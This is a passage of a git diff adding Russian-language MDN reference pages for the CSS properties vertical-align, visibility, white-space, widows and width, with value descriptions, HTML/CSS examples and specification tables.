+ <dd>Выравнивает нижний край элемента с нижним краем шрифта родительского элемента.</dd>
+ <dt><code>middle</code></dt>
+ <dd>Выравнивает середину элемента с базовой линией своего родителя плюс половина от его высоты (x-height).</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Поднимает базовую линию элемента на указанную величину над базовой линией родительского элемента. Допустимы отрицательные значения.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Поднимает базовую линию элемента на указанную в процентах величину (вычисляется относительно значения свойства {{Cssxref("line-height")}}) над базовой линией родительского элемента. Допустимы отрицательные значения.</dd>
+</dl>
+
+<h4 id="Значения_относительно_строки">Значения относительно строки</h4>
+
+<p>Следующие значения позиционируют элемент по вертикали относительно всей строки:</p>
+
+<dl>
+ <dt><code>top</code></dt>
+ <dd>Выравнивает верхний край элемента и его потомков с верхним краем всей строки.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>Выравнивает нижний край элемента и его потомков с нижним краем всей строки.</dd>
+</dl>
+
+<p>Для элементов, у которых нет базовой линии, вместо нее используется нижняя граница внешнего отступа (margin).</p>
+
+<h3 id="Значения_для_ячеек_таблицы">Значения для ячеек таблицы</h3>
+
+<dl>
+ <dt><code>baseline</code> (и <code>sub</code>, <code>super</code>, <code>text-top</code>, <code>text-bottom</code>, <code>&lt;length&gt;</code>, и <code>&lt;percentage&gt;</code>)</dt>
+ <dd>Выравнивает базовую линию ячейки с базовой линией всех остальных ячеек этой строки, которые выравнены относительно базовой линии.</dd>
+ <dt><code>top</code></dt>
+ <dd>Выравнивает верхнюю границу внутреннего отступа (padding) ячейки с верхним краем строки таблицы.</dd>
+ <dt><code>middle</code></dt>
+ <dd>Выравнивает внутреннее поле (padding box) ячейки по центру относительно строки таблицы.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>Выравнивает нижнюю границу внутреннего отступа (padding) ячейки с нижним краем строки таблицы.</dd>
+</dl>
+
+<p>Допустимы отрицательные значения.</p>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;Изображение &lt;img src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; с выравниванием по умолчанию.&lt;/div&gt;
+&lt;div&gt;Изображение &lt;img class="top" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; с выравниванием по верхнему краю.&lt;/div&gt;
+&lt;div&gt;Изображение &lt;img class="bottom" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; с выравниванием по нижнему краю.&lt;/div&gt;
+&lt;div&gt;Изображение &lt;img class="middle" src="https://mdn.mozillademos.org/files/12245/frame_image.svg" alt="link" width="32" height="32" /&gt; с выравниванием по центру.&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">img.top { vertical-align: text-top; }
+img.bottom { vertical-align: text-bottom; }
+img.middle { vertical-align: middle; }
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>vertical-align</code> как анимируемый.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#propdef-vertical-align', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Добавляет значение {{cssxref("&lt;length&gt;")}} и позволяет применять его к элементам с типом <code>table-cell</code> – {{cssxref("display")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#vertical-align', 'vertical-align')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.vertical-align")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref("line-height")}}, {{Cssxref("text-align")}}, {{Cssxref("margin")}}</li>
+ <li><a href="http://phrogz.net/css/vertical-align/index.html" title="http://phrogz.net/css/vertical-align/index.html">Understanding <code>vertical-align</code>, or "How (Not) To Vertically Center Content"</a></li>
+ <li><a href="http://christopheraue.net/2014/03/05/vertical-align/" title="http://christopheraue.net/2014/03/05/vertical-align/">All You Need To Know About Vertical-Align</a></li>
+</ul>
diff --git a/files/ru/web/css/visibility/index.html b/files/ru/web/css/visibility/index.html
new file mode 100644
index 0000000000..933c5ddbdf
--- /dev/null
+++ b/files/ru/web/css/visibility/index.html
@@ -0,0 +1,172 @@
+---
+title: visibility
+slug: Web/CSS/visibility
+tags:
+  - CSS
+  - Web
+  - Расположение CSS
+  - Свойства CSS
+  - Шаблон
+translation_of: Web/CSS/visibility
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <strong><code>visibility</code></strong> скрывает или показывает элемент без изменения разметки документа. Также скрывает строки и столбцы {{HTMLElement("table")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/visibility.html")}}</div>
+
+
+
+<p>Чтобы скрыть и удалить элемент из разметки, установите свойству {{cssxref("display")}} значение <code>none</code>, вместо использования <code>visibility</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Значения */
+visibility: visible;
+visibility: hidden;
+visibility: collapse;
+
+/* Глобальные значения */
+visibility: inherit;
+visibility: initial;
+visibility: unset;
+</pre>
+
+<p>Свойство <code>visibility</code> указывается в качестве одного из значений ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<ul>
+ <li>Для строк, столбцов, групп столбцов и групп строк в таблице, которые должны быть удалены (как с помощью <code>{{Cssxref("display")}}: none</code> примененного к столбцу/строке таблицы). Однако, размер других строк и столбцов должен продолжать вычисляться так, словно скрытые строки/столбцы присутствуют. Это создано для быстрого удаления строк/столбцов из таблицы без дополнительного вычисления ширины и высоты частей таблицы.</li>
+ <li>Для XUL элементов размер всегда равен 0, независимо от других стилей, влияющих на размер, хотя отступы продолжают учитываться.</li>
+ <li>Для других элементов <code>collapse</code> обрабатывается также, как <code>hidden</code></li>
+</ul>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Значение по умолчанию, элемент виден.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>Элемент не виден (полностью прозрачный, ничего не отображается), но продолжает влиять на шаблон. Потомки элемента могут быть показаны с помощью свойства <code>visibility:visible</code>. Элемент не может получить focus (например, при навигации с помощью <a href="/ru/docs/Web/HTML/Global_attributes/tabindex">tabindex</a>).</dd>
+ <dt><code>collapse</code></dt>
+</dl>
+
+<h3 id="Синтаксис_2">Синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Интерполяция">Интерполяция</h2>
+
+<p>Значения видимости изменяются между <em>видим</em> и <em>не видим</em>. Интерполяция будет, если одно из начальных или конечных значений будет видимо или нет. Если одно из значений <code>visible</code>, интерполируется как дискретный шаг, где значения временной функции от <code>0</code> до <code>1</code> для <code>visible</code> и другие значения временной функции (которые происходят только в начале/конце перехода, или как результат функции <code>cubic-bezier()</code> cо значениями вне [0, 1]) ближе к конечной точке.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Базовый_пример">Базовый пример</h3>
+
+<h4 id="HTML">HTML </h4>
+
+<pre class="brush: html">&lt;p class="visible"&gt;Первый параграф виден.&lt;/p&gt;
+&lt;p class="not-visible"&gt;Второй параграф не виден.&lt;/p&gt;
+&lt;p class="visible"&gt;Третий параграф также виден. Заметь, второй параграф занимает место.&lt;/p&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.visible {
+  visibility: visible;
+}
+
+.not-visible {
+  visibility: hidden;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Базовый_пример')}}</p>
+
+<h3 id="Пример_с_таблицой">Пример с таблицой</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre><code>&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;1.1&lt;/td&gt;
+    &lt;td class="collapse"&gt;1.2&lt;/td&gt;
+    &lt;td&gt;1.3&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr class="collapse"&gt;
+    &lt;td&gt;2.1&lt;/td&gt;
+    &lt;td&gt;2.2&lt;/td&gt;
+    &lt;td&gt;2.3&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;3.1&lt;/td&gt;
+    &lt;td&gt;3.2&lt;/td&gt;
+    &lt;td&gt;3.3&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</code></pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre><code>.collapse {
+  visibility: collapse;
+}
+
+table {
+  border: 1px solid red;
+}
+
+td {
+  border: 1px solid gray;
+}</code></pre>
+
+<p>{{EmbedLiveSample('Пример_с_таблицой')}}</p>
+
+<h2 id="Соображения_доступности">Соображения доступности</h2>
+
+<p>Использование <code>visibility</code> со значением <code>hidden</code> на элементе удалит его из <a href="/ru/docs/Learn/%D0%94%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%BD%D0%BE%D1%81%D1%82%D1%8C/What_is_accessibility#%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_API_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B0">дерева доступности</a>. Это приведёт к тому, что элемент и все его дочерние элементы больше не будут показаны в скринридерах.</p>
+
+<h2 id="Примечания">Примечания</h2>
+
+<ul>
+ <li>Поддержка <code>visibility:collapse</code> отсутствует или частично не работает в некоторых современных браузерах. Во многих случаях может не корректно работать <code>visibility:hidden</code> со столбцами и строками.</li>
+ <li><code>visibility:collapse</code> может изменить шаблон таблицы, если таблица содержит вложенные таблицы, пока <code>visibility:visible</code> не указан явно для вложенной таблицы.</li>
+</ul>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#visibility-collapse', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Определяет значение <code>collapse</code> применимым к flex элементам</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-visibility-property', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'visibility')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>visibility</code> как анимирумое.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visufx.html#visibility', 'visibility')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.visibility")}}</p>
diff --git a/files/ru/web/css/white-space/index.html b/files/ru/web/css/white-space/index.html
new file mode 100644
index 0000000000..772e924843
--- /dev/null
+++ b/files/ru/web/css/white-space/index.html
@@ -0,0 +1,168 @@
+---
+title: white-space
+slug: Web/CSS/white-space
+translation_of: Web/CSS/white-space
+---
+<div>{{CSSRef}}</div>
+
+<div>Свойство <code><strong>white-space</strong></code> управляет тем, как обрабатываются {{Glossary("whitespace", "пробельные символы")}} внутри элемента.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/css/white-space.html")}}</div>
+
+<div class="hidden">Исходный код примеров хранится на GitHub. Если вы хотите улучшить примеры, скопируйте  <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на изменение.</div>
+
+<div class="note">
+<p><strong>Примечание:</strong> Для управления переносами <em>внутри слов</em> используйте {{CSSxRef("overflow-wrap")}}, {{CSSxRef("word-break")}} или {{CSSxRef("hyphens")}}.</p>
+</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Ключевые значения */
+white-space: normal;
+white-space: nowrap;
+white-space: pre;
+white-space: pre-wrap;
+white-space: pre-line;
+white-space: break-spaces;
+
+/* Глобальные значения */
+white-space: inherit;
+white-space: initial;
+white-space: unset;
+</pre>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Свойство <code>white-space</code> определяется, как одно ключевое слово, выбранное из списка значений, указанных ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Последовательности пробелов объединяются в один пробел. Символы новой строки в источнике обрабатываются, как отдельный пробел. Применение данного значения при необходимости разбивает строки для того, чтобы заполнить строчные боксы. </dd>
+ <dt><code>nowrap</code></dt>
+ <dd>Объединяет последовательности пробелов в один пробел, как значение <code>normal</code>, но не переносит строки (оборачивание текста) внутри текста.</dd>
+ <dt><code>pre</code></dt>
+ <dd>Последовательности пробелов сохраняются так, как они указаны в источнике. Строки переносятся только там, где в источнике указаны символы новой строки и там, где в источнике указаны элементы {{HTMLElement("br")}}.</dd>
+ <dt><code>pre-wrap</code></dt>
+ <dd>Последовательности пробелов сохраняются так, как они указаны в источнике. Строки переносятся только там, где в источнике указаны символы новой строки и там, где в источнике указаны элементы {{HTMLElement("br")}}, и при необходимости для заполнения строчных боксов.</dd>
+ <dt><code>pre-line</code></dt>
+ <dd>Последовательности пробелов объединяются в один пробел. Строки разбиваются по символам новой строки, по элементам {{HTMLElement("br")}}, и при необходимости для заполнения строчных боксов..</dd>
+ <dt><code>break-spaces</code></dt>
+ <dd>Поведение идентично <code>pre-wrap</code> со следующими отличиями:
+ <ul>
+  <li>Последовательности пробелов сохраняются так, как они указаны в источнике, включая пробелы на концах строк.</li>
+  <li>Строки переносятся по любым пробелам, в том числе в середине последовательности пробелов.</li>
+  <li>Пробелы занимают место и не висят на концах строк, а значит влияют на внутренние размеры (min-content и max-content).</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>В приведенной ниже таблице указано поведение различных значений свойства <code>white-space</code>:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th></th>
+   <th>Новые строки</th>
+   <th>Пробелы и табуляция</th>
+   <th>Перенос текста по словам</th>
+   <th>Пробелы в конце строки</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th><code>normal</code></th>
+   <td>Объединяются в одну</td>
+   <td>Объединяются в один пробел</td>
+   <td>Переносится</td>
+   <td>Удаляются</td>
+  </tr>
+  <tr>
+   <th><code>nowrap</code></th>
+   <td>Объединяются в одну</td>
+   <td>Объединяются в один пробел</td>
+   <td>Не переносится</td>
+   <td>Удаляются</td>
+  </tr>
+  <tr>
+   <th><code>pre</code></th>
+   <td>Сохраняются как в источнике</td>
+   <td>Сохраняются как в источнике</td>
+   <td>Не переносится</td>
+   <td>Сохраняются как в источнике</td>
+  </tr>
+  <tr>
+   <th><code>pre-wrap</code></th>
+   <td>Сохраняются как в источнике</td>
+   <td>Сохраняются как в источнике</td>
+   <td>Переносится</td>
+   <td>Висят</td>
+  </tr>
+  <tr>
+   <th><code>pre-line</code></th>
+   <td>Сохраняются как в источнике</td>
+   <td>Объединяются в один пробел</td>
+   <td>Переносится</td>
+   <td>Удаляются</td>
+  </tr>
+  <tr>
+   <th><code>break-spaces</code></th>
+   <td>Сохраняются как в источнике</td>
+   <td>Сохраняются как в источнике</td>
+   <td>Переносится</td>
+   <td>Переносятся</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Основной_пример">Основной пример</h3>
+
+<pre class="brush: css notranslate">code {
+  white-space: pre;
+}</pre>
+
+<h3 id="Перенос_строк_внутри_элементов_HTMLElementpre">Перенос строк внутри элементов {{HTMLElement("pre")}} </h3>
+
+<pre class="brush: css notranslate">pre {
+  word-wrap: break-word;      /* IE 5.5-7 */
+  white-space: pre-wrap;      /* текущие браузеры */
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-white-space', 'white-space')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Уточняется алгоритм переноса строк.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#white-space-prop', 'white-space')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("css.properties.white-space")}}</p>
diff --git a/files/ru/web/css/widows/index.html b/files/ru/web/css/widows/index.html
new file mode 100644
index 0000000000..62f2492e7f
--- /dev/null
+++ b/files/ru/web/css/widows/index.html
@@ -0,0 +1,123 @@
+---
+title: widows
+slug: Web/CSS/widows
+translation_of: Web/CSS/widows
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <code>widows</code> <a href="/en-US/docs/CSS" title="CSS">CSS</a> определяет какое минимальное количество линий должно быть оставлено в начале новой страницы на <code>paged</code> носителе. В типографике, «висячая» строка<strong> (</strong><em>widow)</em> это последняя строка параграфа, оказавшаяся в начале следующей страницы. Установка свойства <code>widows</code> позволяет предотвратить висячие строки.</p>
+
+<p>На нестраничных носителях, таких как <code>screen</code>, CSS свойство <code>widows</code> не имеет эффекта.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="twopartsyntaxbox"><a href="/en-US/docs/CSS/Value_definition_syntax" title="CSS/Value_definition_syntax">Formal syntax</a>: {{csssyntax("widows")}}
+</pre>
+
+<pre>widows: 2
+widows: 3
+
+widows: inherit
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>Обозначает минимальное количество строк, которые могут остаться одни вверху новой страницы. Если значение не <strong>положительное</strong>, такое объявление недействительно.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:css">p {
+  widows: 3;
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#widows-orphans', 'widows')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Extends <code>widows</code> to apply to any type of fragment, like pages, regions or columns.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Multicol', '#filling-columns', 'widows')}}</td>
+   <td>{{Spec2('CSS3 Multicol')}}</td>
+   <td>Recommend to consider <code>widows</code> in relation with columns</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#break-inside', 'widows')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Исходная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера"><nobr></nobr>Совместимость браузера</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+   <td>9.2</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("orphans")}}</li>
+ <li>{{cssxref("Paged Media")}}</li>
+</ul>
diff --git a/files/ru/web/css/width/index.html b/files/ru/web/css/width/index.html
new file mode 100644
index 0000000000..15dd65de37
--- /dev/null
+++ b/files/ru/web/css/width/index.html
@@ -0,0 +1,207 @@
+---
+title: width
+slug: Web/CSS/width
+translation_of: Web/CSS/width
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство CSS <strong><code>width</code></strong> устанавливает ширину элемента. По умолчанию она равняется ширине <a href="/ru/docs/Web/CSS/box_model#content">внутренней области</a>, но если {{cssxref("box-sizing")}} имеет значение <code>border-box</code>, то она будет равняться ширине <a href="/ru/docs/Web/CSS/box_model#border">области рамки</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/width.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам пулл-реквест.</p>
+
+<p>Свойства {{cssxref("min-width")}} и {{cssxref("max-width")}} перекрывают {{cssxref("width")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; значения */
+width: 300px;
+width: 25em;
+
+/* &lt;percentage&gt; значения */
+width: 75%;
+
+/* Значения-ключевые слова */
+width: 25em border-box;
+width: 75% content-box;
+width: max-content;
+width: min-content;
+width: available;
+width: fit-content;
+width: auto;
+
+/* Глобальные значения */
+width: inherit;
+width: initial;
+width: unset;
+</pre>
+
+<p>Свойство <code>width</code> указывается как:</p>
+
+<ul>
+ <li>одно из следующих ключевых слов: <code><a href="#available">available</a></code>, <code><a href="#min-content">min-content</a></code>, <code><a href="#max-content">max-content</a></code>, <code><a href="#fit-content">fit-content</a></code>, <code><a href="#auto">auto</a></code>.</li>
+ <li><code><a href="#&lt;length>">&lt;length&gt;</a></code> или <code><a href="#&lt;percentage>">&lt;percentage&gt;</a></code>. За ними так же могут быть указаны одни из следующих ключевых слов: <code><a href="#border-box">border-box</a></code>, <code><a href="#content-box">content-box</a></code>.</li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("&lt;length&gt;")}}</a></dt>
+ <dd>Ширина - фиксированная величина.</dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd>Ширина в процентах - размер относительно ширины родительского блока.</dd>
+ <dt><code><a id="border-box" name="border-box">border-box</a> </code>{{experimental_inline}}</dt>
+ <dd>Если присутствует, то предшествующие {{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} применяются к области рамки элемента.</dd>
+ <dt><a id="content-box" name="content-box"><code>content-box</code></a> {{experimental_inline}}</dt>
+ <dd>Если присутствует, то предшествующие {{cssxref("&lt;length&gt;")}} или {{cssxref("&lt;percentage&gt;")}} применяются к внутренней области элемента.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>Браузер рассчитает и выберет ширину для указанного элемента.</dd>
+ <dt><a id="fill" name="fill"><code>fill</code></a> {{experimental_inline}}</dt>
+ <dd>Использует <code>fill-available</code> размер строки или <code>fill-available</code> размер блока, в зависимости от способа разметки.</dd>
+ <dt><a id="max-content" name="max-content"><code>max-content</code></a> {{experimental_inline}}</dt>
+ <dd>Внутренняя максимальная предпочтительная ширина.</dd>
+ <dt><a id="min-content" name="min-content"><code>min-content</code></a> {{experimental_inline}}</dt>
+ <dd>Внутренняя минимальная ширина.</dd>
+ <dt><a id="available" name="available"><code>available</code></a> {{experimental_inline}}</dt>
+ <dd>Ширина содержащего блока минус горизонтальные <code>margin</code>, <code><font face="consolas, Liberation Mono, courier, monospace">border</font></code> и <code>padding</code>.</dd>
+ <dt id="fit-content"><a id="fit-content" name="fit-content"><code>fit-content</code></a> {{experimental_inline}}</dt>
+ <dd>Наибольшее из:
+ <ul>
+  <li>внутренняя минимальная ширина</li>
+  <li>меньшая из внутренней предпочтительной ширины и доступной ширины</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ширина_по_умолчанию">Ширина по умолчанию</h3>
+
+<pre class="brush:css">p.goldie {
+  background: gold;
+}</pre>
+
+<pre class="brush:html">&lt;p class="goldie"&gt;Сообщество Mozilla производит множество отличного ПО.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Default_width', '500px', '64px')}}</p>
+
+<h3 id="Пиксели_и_em">Пиксели и em</h3>
+
+<pre class="brush: css">.px_length {
+  width: 200px;
+  background-color: red;
+  color: white;
+  border: 1px solid black;
+}
+
+.em_length {
+  width: 20em;
+  background-color: white;
+  color: red;
+  border: 1px solid black;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="px_length"&gt;Ширина в пикселях&lt;/div&gt;
+&lt;div class="em_length"&gt;Ширина в em&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Pixels_and_ems', '500px', '64px')}}</p>
+
+<h3 id="Проценты">Проценты</h3>
+
+<pre class="brush: css">.percent {
+  width: 20%;
+  background-color: silver;
+  border: 1px solid red;
+}</pre>
+
+<pre class="brush: html">&lt;div class="percent"&gt;Ширина в процентах&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Percentage', '500px', '64px')}}</p>
+
+<h3 id="max-content_2">max-content</h3>
+
+<pre class="brush:css;">p.maxgreen {
+  background: lightgreen;
+  width: intrinsic;           /* Safari/WebKit используют нестандартное имя */
+  width: -moz-max-content;    /* Firefox/Gecko */
+  width: -webkit-max-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="maxgreen"&gt;Сообщество Mozilla производит множество отличного ПО.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('max-content_2', '500px', '64px')}}</p>
+
+<h3 id="min-content_2">min-content</h3>
+
+<pre class="brush:css">p.minblue {
+  background: lightblue;
+  width: -moz-min-content;    /* Firefox */
+  width: -webkit-min-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="minblue"&gt;Сообщество Mozilla производит множество отличного ПО.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('min-content_2', '500px', '155px')}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Убедитесь, что элементы с <code>width</code> не обрезаются и / или не затеняют другое содержимое, когда страница масштабируется для увеличения размера текста.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-scale.html" rel="noopener">Understanding Success Criterion 1.4.4  | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Добавляет ключевые слова <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'width')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>width</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-width-property', 'width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Уточняет к какому элементу относится</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
